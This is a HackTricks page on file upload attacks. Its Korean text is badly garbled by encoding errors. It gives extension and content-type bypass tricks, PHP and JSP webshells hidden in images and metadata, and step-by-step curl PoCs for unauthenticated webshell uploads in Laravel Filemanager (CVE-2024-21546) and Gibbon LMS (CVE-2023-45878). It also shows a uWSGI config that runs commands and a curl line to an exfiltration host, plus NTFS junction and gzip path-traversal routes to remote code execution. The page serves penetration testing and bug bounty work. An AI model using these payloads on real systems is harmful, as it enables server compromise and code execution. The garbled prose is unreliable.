ķģ¼ ģ ė”ė
Tip
AWS ķ“ķ¹ ė°°ģ°źø° ė° ģ°ģµķźø°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ķ“ķ¹ ė°°ģ°źø° ė° ģ°ģµķźø°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ķ“ķ¹ ė°°ģ°źø° ė° ģ°ģµķźø°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ģ§ģķźø°
- źµ¬ė ź³ķ ķģøķźø°!
- **š¬ ėģ¤ģ½ė 그룹 ėė ķ ė ź·øėØ ź·øė£¹ģ ģ°øģ¬ķź±°ė ķøģķ° š¦ @hacktricks_live넼 ķė”ģ°ķģøģ.
- HackTricks ė° HackTricks Cloud ź¹ķėø ė¦¬ķ¬ģ§ķ 리ģ PRģ ģ ģ¶ķģ¬ ķ“ķ¹ ķøė¦ģ ź³µģ ķģøģ.
ķģ¼ ģ ė”ė ģ¼ė° ė°©ė²ė”
ė¤ė„ø ģ ģ©ķ ķģ„ģ:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
ķģ¼ ķģ„ģ ź²ģ¬ ģ°ķ
- ģ ģ©ėė ź²½ģ°, ģ“ģ ķģ„ģė¤ģ ķģøķģøģ. ėķ ėŖėŖ ė문ģ넼 ģ¬ģ©ķ“ ķ ģ¤ķøķ“볓ģøģ: pHp, .pHP5, .PhAr ā¦
- ģ¤ķ ķģ„ģ ģģ ģ ķØķ ķģ„ģ넼 ģ¶ź°ķė ź²ģ ķģøķģøģ (ģ“ģ ķģ„ģė¤ė ģ¬ģ©):
- file.png.php
- file.png.Php5
- ėģ ķ¹ģ 문ģ넼 ģ¶ź°ķ“볓ģøģ. Burp넼 ģ¬ģ©ķ“ ėŖØė ASCII ė° Unicode 문ģ넼 bruteforceķ ģ ģģµėė¤. (ģ°øź³ : ģ“ģ ģ ģøźøķ extensionsė ģėķ ģ ģģµėė¤)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.phpā¦.
- file.pHp5ā¦.
- extension parser넼 ģģ¬ ė³“ķøė„¼ ģ°ķķ“볓ģøģ ā ģ넼 ė¤ģ“ ķģ„ģ ģ“ģ¤ķė ķģ„ģ ģ¬ģ“ģ junk ė°ģ“ķ°(null bytes) ģ½ģ ź°ģ źø°ė²ģ ģ¬ģ©ķ©ėė¤. ė ėģ payload ģģ±ģ ģķ“ ģ“ģ ķģ„ģė¤ģ ģ¬ģ©ķ ģė ģģµėė¤.
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- ģ“ģ 첓ķ¬ģ ģ¶ź° ķģ„ģ ė ģ“ģ“넼 ėķ“볓ģøģ:
- file.png.jpg.php
- file.php%00.png%00.jpg
- ģ¤ķ ķģ„ģ넼 ģ ķØķ ķģ„ģ ģģ ėź³ ģė²ź° ģėŖ» 구ģ±ėģźø°ė„¼ źø°ėķ“볓ģøģ. (useful to exploit Apache misconfigurations where anything with extension** .php, but not necessarily ending in .php** will execute code):
- ex: file.php.png
- Windowsģģ NTFS alternate data stream (ADS) ķģ©. ģ“ ź²½ģ° źøģ§ė ķģ„ģ ė¤ģ ķģ©ė ķģ„ģ ģģ ģ½ė” ā:ā ė¬øģź° ģ½ģ ė©ėė¤. ź²°ź³¼ģ ģ¼ė” ģė²ģ źøģ§ė ķģ„ģ넼 ź°ģ§ ė¹ ķģ¼ģ“ ģģ±ė ģ ģģµėė¤(ģ: āfile.asax:.jpgā). ģ“ ķģ¼ģ ģ“ķ short filename ź°ģ ė¤ė„ø źø°ė²ģ¼ė” ķøģ§ė ģ ģģµėė¤. ā::$dataā ķØķ“ģ ģ¬ģ©ķė©“ ė¹ģ“ģģ§ ģģ ķģ¼ė ģģ±ķ ģ ģģµėė¤. ė°ė¼ģ ģ“ ķØķ“ ė¤ģ ģ 문ģ넼 ģ¶ź°ķė ź²ė ģ¶ź° ģ ķģ ģ°ķķė ė° ģ ģ©ķ ģ ģģµėė¤(ģ: āfile.asp::$data.ā)
- ķģ¼ėŖ źøøģ“ ģ ķģ ź¹Øė³“ģøģ. ģ ķØķ ķģ„ģź° ģė¦¬ź³ ģ ģ± PHPź° ėØģµėė¤. AAA<āSNIPā>AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) ā CVE-2024-21546
ģ¼ė¶ upload handlerė ģ ģ„ė ķģ¼ėŖ ģģ ėģ ģ 문ģ(trailing dot)넼 ģė¼ė“ź±°ė ģ ź·ķķ©ėė¤. UniSharpģ Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1 ģ“ģ ė²ģ ģģė ė¤ģź³¼ ź°ģ“ extension ź²ģ¦ģ ģ°ķķ ģ ģģµėė¤:
- PNGģ
\x89PNG\r\n\x1a\nź°ģ ģ ķØķ ģ“ėÆøģ§ MIMEź³¼ magic header넼 ģ¬ģ©ķ©ėė¤. - ģ
ė”ėė ķģ¼ ģ“ė¦ģ PHP ķģ„ģ ė¤ģ ģ ģ ė¶ģ¬ģ ģ§ģ ķ©ėė¤. ģ:
shell.php. - ģė²ź° ėģ ģ ģ ģ ź±°ķģ¬
shell.phpė” ģ ģ„ķź³ , ģ“ ķģ¼ģ“ ģ¹ģ¼ė” ģė¹ėė ėė ķ°ė¦¬ģ ģģ¹ķė©“ ģ¤ķė©ėė¤(źø°ė³ø public storage ģ:/storage/files/).
ź°ėØķ PoC (Burp Repeater):
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
ź·øė° ė¤ģ ģ ģ„ė ź²½ė”넼 ķøģ¶ķģøģ (Laravel + LFMģģ ģ¼ė°ģ ):
GET /storage/files/0xdf.php?cmd=id
Content-Type, Magic Number, Compression & Resizing ģ°ķ
- Content-Type ź²ģ¬ė„¼ ģ°ķķė ¤ė©“ Content-Type headerģ value넼 ė¤ģģ¼ė” ģ¤ģ ķģøģ: image/png , text/plain , application/octet-stream
- Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
- magic number ź²ģ¬ė ķģ¼ģ ė§Ø ģģ ģ¤ģ ģ“미ģ§ģ bytes넼 ģ¶ź°ķģ¬ ģ°ķķ ģ ģģµėė¤ (file ėŖ
ė ¹ģ ķ¼ėģķµėė¤). ėė metadata ģģ ģģ ģ½ģ
ķģøģ:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg\ėė ķģ“ė”ė넼 ģ“미ģ§ģ ģ§ģ ģ½ģ ķ ģė ģģµėė¤:echo '<?php system($_REQUEST['cmd']); ?>' >> img.png - ģ“미ģ§ģ compressionģ“ ģ ģ©ėė ź²½ģ°(ģ: PHP-GD ź°ģ ķģ¤ PHP ė¼ģ“ėøė¬ė¦¬ė„¼ ģ¬ģ©ķė ź²½ģ°), ģ“ģ źø°ģ ė¤ģ ķØź³¼ź° ģģ ģ ģģµėė¤. ģ“ėė PLTE chunk technique defined here넼 ģ¬ģ©ķ“ ģģ¶ģ 견ėė ķ ģ¤ķøė„¼ ģ½ģ ķ ģ ģģµėė¤.
- Github with the code
- ģ¹ ķģ“ģ§ź° ģ넼 ė¤ģ“ PHP-GD ķØģ
imagecopyresizedėėimagecopyresampled넼 ģ¬ģ©ķ“ image넼 resizingķ ģė ģģµėė¤. ģ“ ź²½ģ° IDAT chunk technique defined here넼 ģ¬ģ©ķ“ ģģ¶ģ 견ėė ķ ģ¤ķøė„¼ ģ½ģ ķ ģ ģģµėė¤. - Github with the code
- PHP-GDģ
thumbnailImageķØģė” ģ“ėÆøģ§ ķ¬źø° ģ”°ģ ģģė ķģ“ė”ėź° ģ씓ķėė” ķė ė¤ė„ø źø°ė²ģ“ ģģµėė¤. ėė tEXt chunk technique defined here넼 ģ¬ģ©ķ“ ģģ¶ģ 견ėė ķ ģ¤ķøė„¼ ģ½ģ ķ ģ ģģµėė¤. - Github with the code
ķģøķ źø°ķ ķøė¦
- ģ“미 ģ ė”ėė ķģ¼ģ ģ“ė¦(ķģ„ģ)ģ ė³ź²½ķ ģ ģė ģ·Øģ½ģ ģ ģ°¾ģ¼ģøģ.
- Local File Inclusion ģ·Øģ½ģ ģ ģ°¾ģ ė°±ėģ“넼 ģ¤ķķģøģ.
- ź°ė„ķ ģ 볓 ģ ģ¶:
- ėģ¼ķ ģ“ė¦ģ¼ė” ģ¬ė¬ ė²(ėģģ) ź°ģ ķģ¼ģ ģ ė”ėķģøģ.
- ģ“미 씓ģ¬ķė ķģ¼ ėė ķ“ėģ ģ“ė¦ģ¼ė” ķģ¼ģ ģ ė”ėķģøģ.
- ķģ¼ ģ“ė¦ģ
".","..", ėė"ā¦"ė” ģ ė”ėķģøģ. ģ넼 ė¤ģ“, Apacheź° Windowsģģ ģ ķ리ģ¼ģ“ģ ģ“ ģ ė”ėė ķģ¼ģ ā/www/uploads/ā ėė ķ°ė¦¬ģ ģ ģ„ķė©“, ā.ā ķģ¼ėŖ ģ ā/www/ā ėė ķ°ė¦¬ģ āuploadsāė¼ė ķģ¼ģ ģģ±ķ ģ ģģµėė¤. - NTFSģģ ģ½ź² ģģ ėģ§ ģė ķģ¼ ģ“ė¦(ģ: āā¦:.jpgā)ģ ģ ė”ėķģøģ. (Windows)
- ģ“ė¦ģ
|<>*?āź°ģ ģ ķØķģ§ ģģ 문ģ넼 ķ¬ķØķ ķģ¼ģ Windowsģ ģ ė”ėķģøģ. (Windows) - CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9 ź°ģ ģģ½(źøģ§)ė ģ“ė¦ģ ģ¬ģ©ķ“ Windowsģ ķģ¼ģ ģ ė”ėķģøģ.
- ėķ ģ¤ķ ź°ė„ķ ķģ¼(.exe)ģ“ė ė ģģ¬ģ¤ė¬ģ“ .html ķģ¼ģ ģ ė”ėķ“ ķ¼ķ“ģź° ģ¤ģė” ģ“ģģ ė ģ½ėź° ģ¤ķėėė” ģėķ“ ė³“ģøģ.
ķ¹ģ ķģ„ģ ķøė¦
PHP ģė²ģ ķģ¼ģ ģ
ė”ėķė ¤ė ź²½ģ°, ģ½ė ģ¤ķģ ģķ .htaccess ķøė¦ģ ķģøķģøģ.
ASP ģė²ģ ķģ¼ģ ģ
ė”ėķė ¤ė ź²½ģ°, ģ½ė ģ¤ķģ ģķ .config ķøė¦ģ ķģøķģøģ.
.phar ķģ¼ģ javaģ .jarģ ģ ģ¬ķģ§ė§ phpģ©ģ“ė©°, phpė” ģ¤ķķź±°ė ģ¤ķ¬ė¦½ķøģ ķ¬ķØķģ¬ php ķģ¼ģ²ė¼ ģ¬ģ©ķ ģ ģģµėė¤.
.inc ķģ„ģė ģ¢
ģ¢
import ģ©ėė”ė§ ģ¬ģ©ėė php ķģ¼ģ ģ¬ģ©ėėÆė”, ģ“ė¤ ź²½ģ°ģė ģ“ ķģ„ģź° ģ¤ķėėė” ķģ©ėģ“ ģģ ģ ģģµėė¤.
Jetty RCE
Jetty ģė²ģ XML ķģ¼ģ ģ
ė”ėķ ģ ģė¤ė©“ ģė”ģ“ *.xml ė° *.warź° ģėģ¼ė” ģ²ė¦¬ėźø° ė문ģ RCE넼 ģ»ģ ģ ģģµėė¤. ė°ė¼ģ ģė ģ“미ģ§ģ ģ¤ėŖ
ė ėė” XML ķģ¼ģ $JETTY_BASE/webapps/ģ ģ
ė”ėķė©“ ģģ źø°ėķ ģ ģģµėė¤!
.png)
uWSGI RCE
ģ“ ģ·Øģ½ģ ģ ėķ ģģøķ ė“ģ©ģ ģ문 리ģģ¹ė„¼ ķģøķģøģ: uWSGI RCE Exploitation.
Remote Command Execution (RCE) ģ·Øģ½ģ ģ .ini źµ¬ģ± ķģ¼ģ ģģ ķ ģ ģė ź²½ģ° uWSGI ģė²ģģ ģ
ģ©ė ģ ģģµėė¤. uWSGI źµ¬ģ± ķģ¼ģ ķ¹ģ ķ 문ė²ģ¼ė” āmagicā ė³ģ, ķė ģ“ģ¤ķė ė° ģ°ģ°ģ넼 ķ¬ķØķ©ėė¤. ķ¹ķ @(filename)ģ²ė¼ ģ¬ģ©ėė ā@ā ģ°ģ°ģė ķģ¼ģ ė“ģ©ģ ķ¬ķØķėė” ģ¤ź³ėģ“ ģģµėė¤. uWSGIģģ ģ§ģėė ģ¬ė¬ ģ¤ķ“ ģ¤ āexecā ģ¤ķ“ģ ķė”ģøģ¤ģ ķģ¤ ģ¶ė „ģģ ė°ģ“ķ°ė„¼ ģ½ģ ģ ģź² ķ“ ė§¤ģ° ź°ė „ķė©°, .ini źµ¬ģ± ķģ¼ģ“ ģ²ė¦¬ė ė ģ“ źø°ė„ģ Remote Command Execution ėė Arbitrary File Write/Readģ ģ
ģ©ķ ģ ģģµėė¤.
ė¤ģģ ė¤ģķ ģ¤ķ“ģ 볓ģ¬ģ£¼ė ģ
ģģ ģø uwsgi.ini ķģ¼ģ ģ넼 ź³ ė ¤ķ“ ė³“ģøģ:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
źµ¬ģ± ķģ¼ģ ķģ±ķė ėģ payloadź° ģ¤ķė©ėė¤. 구ģ±ģ“ ķģ±ķėģ“ ķģ±ėė ¤ė©“ uWSGI ķė”ģøģ¤ź° ģ¬ģģėģ“ģ¼ ķ©ėė¤(ģ¶©ė ķ ėė Denial of Service 공격ģ¼ė” ģøķ“) ėė ķģ¼ģ“ auto-reloadė” ģ¤ģ ėģ“ģ¼ ķ©ėė¤. auto-reload źø°ė„ģ“ ķģ±ķė ź²½ģ° ė³ź²½ģ ź°ģ§ķė©“ ģ§ģ ė ź°ź²©ģ¼ė” ķģ¼ģ ė¤ģ ė”ėķ©ėė¤.
uWSGIģ źµ¬ģ± ķģ¼ ķģ±ģ“ ėģØķė¤ė ģ ģ ģ“ķ“ķė ź²ģ“ ģ¤ģķ©ėė¤. ķ¹ķ, ģ¬źø°ģ ė ¼ģė payloadė ė°ģ“ė리 ķģ¼(ģ: image ėė PDF) ģģ ģ½ģ ė ģ ģģ“ ģ ģ¬ģ ģ ģ© ė²ģ넼 ėģ± ėķėė¤.
Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
Gibbon LMSģ ģøģ¦ėģ§ ģģ endpointė ģ¹ ė£Øķø ė“ģ arbitrary file write넼 ķģ©ķė©°, PHP ķģ¼ģ ģ ė”ėķ“ pre-auth RCEė” ģ“ģ“ģ§ėė¤. ģ·Øģ½ ė²ģ : 25.0.01ź¹ģ§(ķ¬ķØ).
- Endpoint:
/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php - Method: POST
- Required params:
img: data-URI-like string:[mime];[name],[base64](ģė²ė type/nameģ 묓ģķź³ 꼬리 ė¶ė¶ģ base64 ėģ½ėķ©ėė¤)path: destination filename relative to Gibbon install dir (e.g.,poc.phpor0xdf.php)gibbonPersonID: any non-empty value is accepted (e.g.,0000000001)
Minimal PoC to write and read back a file:
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK
# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
# Verify write
curl http://target/Gibbon-LMS/poc.php
ģµģķģ webshellģ ģ ė”ėķģ¬ ėŖ ė ¹ģ ģ¤ķ:
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
ģ°øź³ :
- ķøė¤ė¬ė
;ė°,ė” ė¶ķ ķ ķbase64_decode($_POST["img"])넼 ģķķź³ , ķģ„ģ/ķģ ģ ź²ģ¦ķģ§ ģģ ģ± ė°ģ“ķøė„¼$absolutePath . '/' . $_POST['path']ģ ģėė¤. - ź²°ź³¼ģ ģ¼ė” ģ¤ķėė ģ½ėė ģ¹ ģė¹ģ¤ ģ¬ģ©ģ ź¶ķģ¼ė” ģ¤ķė©ėė¤(ģ: XAMPP Apache on Windows).
ģ“ ė²ź·øģ ėķ ģ°øģ”°ė”ė usd HeroLab advisoryģ NVD ķėŖ©ģ“ ķ¬ķØė©ėė¤. ģėģ References ģ¹ģ ģ ģ°øģ”°ķģøģ.
wget File Upload/SSRF Trick
ź²½ģ°ģ ė°ė¼ ģė²ź° wget ģ ģ¬ģ©ķ“ ķģ¼ģ ė¤ģ“ė”ė ķź³ , ė¹ģ ģ“ URL ģ ģ§ģ ķ ģ ģė ģķ©ģ ė°ź²¬ķ ģ ģģµėė¤. ģ“ė¬ķ ź²½ģ° ģ½ėź° ė¤ģ“ė”ėė ķģ¼ģ ķģ„ģź° ķģ© ėŖ©ė”(whitelist)ģ ģėģ§ ķģøķģ¬ ķģ©ė ķģ¼ė§ ė¤ģ“ė”ėėėė” ķ ģ ģģµėė¤. ź·øė¬ė, ģ“ ź²ģ¬ė ģ°ķė ģ ģģµėė¤.
linuxģģ filenameģ ģµė źøøģ“ė 255ģ“ģ§ė§, wgetģ ķģ¼ėŖ
ģ 236ģė” ģė¼ė²ė¦½ėė¤. ė¹ģ ģ *āAā232+ā.phpā+ā.gifā ė¼ė ķģ¼ģ ė¤ģ“ė”ė ķ ģ ģģ¼ė©°, ģ“ ķģ¼ėŖ
ģ 첓ķ¬ė„¼ ģ°ķ ķ©ėė¤(ģ“ ģģģ ā.gifā ė ģ ķØķ ķģ„ģģ
ėė¤). ķģ§ė§ wgetģ ķģ¼ėŖ
ģ *āAā232+ā.phpā ė” ė³ź²½ ķ©ėė¤.
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: āAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.phpā
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - āAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.phpā saved [10/10]
Note that another option you may be thinking of to bypass this check is to make the HTTP server redirect to a different file, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This wonāt work unless wget is being used with the parameter --trust-server-names because wget will download the redirected page with the name of the file indicated in the original URL.
NTFS junctions (Windows)넼 ģ“ģ©ķ ģ ė”ė ėė ķ°ė¦¬ ķģ¶
(ģ“ ź³µź²©ģ ģķķė ¤ė©“ ķ“ė¹ Windows 머ģ ģ ė”컬 ģ”ģøģ¤ź° ķģķ©ėė¤) Windowsģģ ģ ė”ėź° ģ¬ģ©ģė³ ķģ ķ“ė(ģ: C:\Windows\Tasks\Uploads<id>) ģėģ ģ ģ„ėź³ ķ“ė¹ ķģ ķ“ėģ ģģ±/ģģ 넼 ģ ģ“ķ ģ ģė¤ė©“, ģ“넼 민ź°ķ ģģ¹(ģ: the webroot)넼 ź°ė¦¬ķ¤ė directory junctionģ¼ė” źµģ²“ķ ģ ģģµėė¤. ģ“ķ ģ ė”ėė ķģ¼ģ ėģ ź²½ė”ģ źø°ė”ėė©°, ėģģ“ ģė² ģø” ģ½ė넼 ķ“ģķė ź²½ģ° ģ½ė ģ¤ķģ ź°ė„ķź² ķ©ėė¤.
Example flow to redirect uploads into XAMPP webroot:
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
:: Minimal PHP webshell for testing
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"
ė øķø
- mklink /J creates an NTFS directory junction (reparse point). ģ¹ ģė²ģ ź³ģ ģ junctionģ ė°ė¼ź°ģ¼ ķė©° ėŖ©ģ ģ§ģ ėķ ģ°źø° ź¶ķģ“ ģģ“ģ¼ ķ©ėė¤.
- ģ“ė ģģģ ķģ¼ ģ°źø°ė„¼ 리ėė ģ ķ©ėė¤; ėŖ©ģ ģ§ź° ģ¤ķ¬ė¦½ķø(PHP/ASP)넼 ģ¤ķķė©“ RCEź° ė©ėė¤.
- ėģģ± : writable upload roots넼 ź³µź²©ģź° ģ ģ“ķ ģ ģėė” C:\Windows\Tasks ģė ėė ģ ģ¬ķ ģģ¹ģ ėģ§ ė§ ź²; junction ģģ± ģ°ØėØ; ģė²āģ¬ģ“ėģģ ķģ„ģ ź²ģ¦; ģ ė”ė넼 ė³ė 볼넨ģ ģ ģ„ķź±°ė denyāexecute ACLs넼 ģ ģ©.
GZIP-compressed body upload + path traversal in destination param ā JSP webshell RCE (Tomcat)
ģ¼ė¶ upload/ingest handlersė ģģ ģģ² ė°ė넼 ģ¬ģ©ģ ģ ģ“ query ķė¼ėÆøķ°ė” 구ģ±ė ķģ¼ģģ¤ķ ź²½ė”ģ źø°ė”ķ©ėė¤. ķøė¤ė¬ź° Content-Encoding: gzipģ ģ§ģķź³ destination ź²½ė”넼 ģ ź·ķ/ź²ģ¦ķģ§ ģģ¼ė©“, directory traversalź³¼ gzipped ķģ“ė”ė넼 ź²°ķ©ķģ¬ ģ¹ģ¼ė” ģė¹ėė ėė ķ°ė¦¬ģ ģģ ė°ģ“ķøė„¼ źø°ė”ķź³ RCE넼 ģ»ģ ģ ģģµėė¤(ģ: Tomcatģ webapps ģėģ JSP넼 ė°°ģ¹).
ģ¼ė°ģ ģø ģµģ¤ķė”ģ ķė¦:
- ģė²āģ¬ģ“ė ķģ“ė”ė(ģ: minimal JSP webshell)넼 ģ¤ė¹ķź³ ė°ģ“ķøė„¼ gzipģ¼ė” ģģ¶ķ©ėė¤.
- ź²½ė” ķė¼ėÆøķ°(ģ: token)ģ ģėė ķ“ė넼 ė²ģ“ėė traversalģ ķ¬ķØģķ¤ź³ fileģ“ ģ ģ„ķ ķģ¼ėŖ ģ ź°ė¦¬ķ¤ė POST넼 볓ė ėė¤. Content-Type: application/octet-stream ė° Content-Encoding: gzipģ ģ¤ģ ķź³ , ė°ėģė ģģ¶ė ķģ“ė”ė넼 ė£ģµėė¤.
- ģģ±ė ķģ¼ė” ģ ģķģ¬ ģ¤ķģ ķøė¦¬ź±°ķ©ėė¤.
Illustrative request:
POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>
<gzip-compressed-bytes-of-your-jsp>
ź·øė° ė¤ģ ķøė¦¬ź±°:
GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target
ė øķø
- ģ¤ģ¹ ķź²½ģ ė°ė¼ ėģ ź²½ė”ė ė¬ė¼ģ§ėė¤(ģ: /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ in some stacks). JSP넼 ģ¤ķķė ģ¹ ė øģ¶ ķ“ėė¼ė©“ ģ“ė¤ ź²ģ“ė ģėķ©ėė¤.
- Burp Suiteās Hackvertor extensionģ ķģ“ė”ėė”ė¶ķ° ģ¬ė°ė„ø gzip body넼 ģģ±ķ ģ ģģµėė¤.
- ģ“ź²ģ ģģķ pre-auth arbitrary file write ā RCE ķØķ“ģ“ė©°, multipart parsingģ ģ씓ķģ§ ģģµėė¤.
ģķ ė°©ė²
- ģ ė”ė ėģģ ģė² ģø”ģģ ź²°ģ ķģøģ; ķ“ė¼ģ“ģøķøģ ź²½ė” ģ”°ź°ģ ģ ė ģ 뢰ķģ§ ė§ģøģ.
- ķ“ģė ź²½ė”넼 ģ ź·ķķź³ , ķģ©ė źø°ė³ø ėė ķ 리 ė“ģ 머물ėė” ź°ģ ķģøģ.
- ģ ė”ė ķģ¼ģ ģ¤ķ ė¶ź°ė„ķ 볼넨ģ ģ ģ„ķź³ , ģ°źø° ź°ė„ķ ź²½ė”ģģ ģ¤ķ¬ė¦½ķø ģ¤ķģ źøģ§ķģøģ.
ėźµ¬
- Upload Bypass ė file upload ė©ģ»¤ėģ¦ ķ ģ¤ķøģģ Pentesters ė° Bug Hunters넼 ģ§ģķėė” ģ¤ź³ė ź°ė „ķ ėźµ¬ģ ėė¤. ģ¬ė¬ bug bounty źø°ė²ģ ķģ©ķ“ ģ·Øģ½ģ ģė³ ė° ģµģ¤ķė”ģ ź³¼ģ ģ ėØģķķź³ ģ¹ ģ ķ리ģ¼ģ“ģ ģ ģ² ģ ķ ķź°ė„¼ 볓ģ„ķ©ėė¤.
Corrupting upload indices with snprintf quirks (historical)
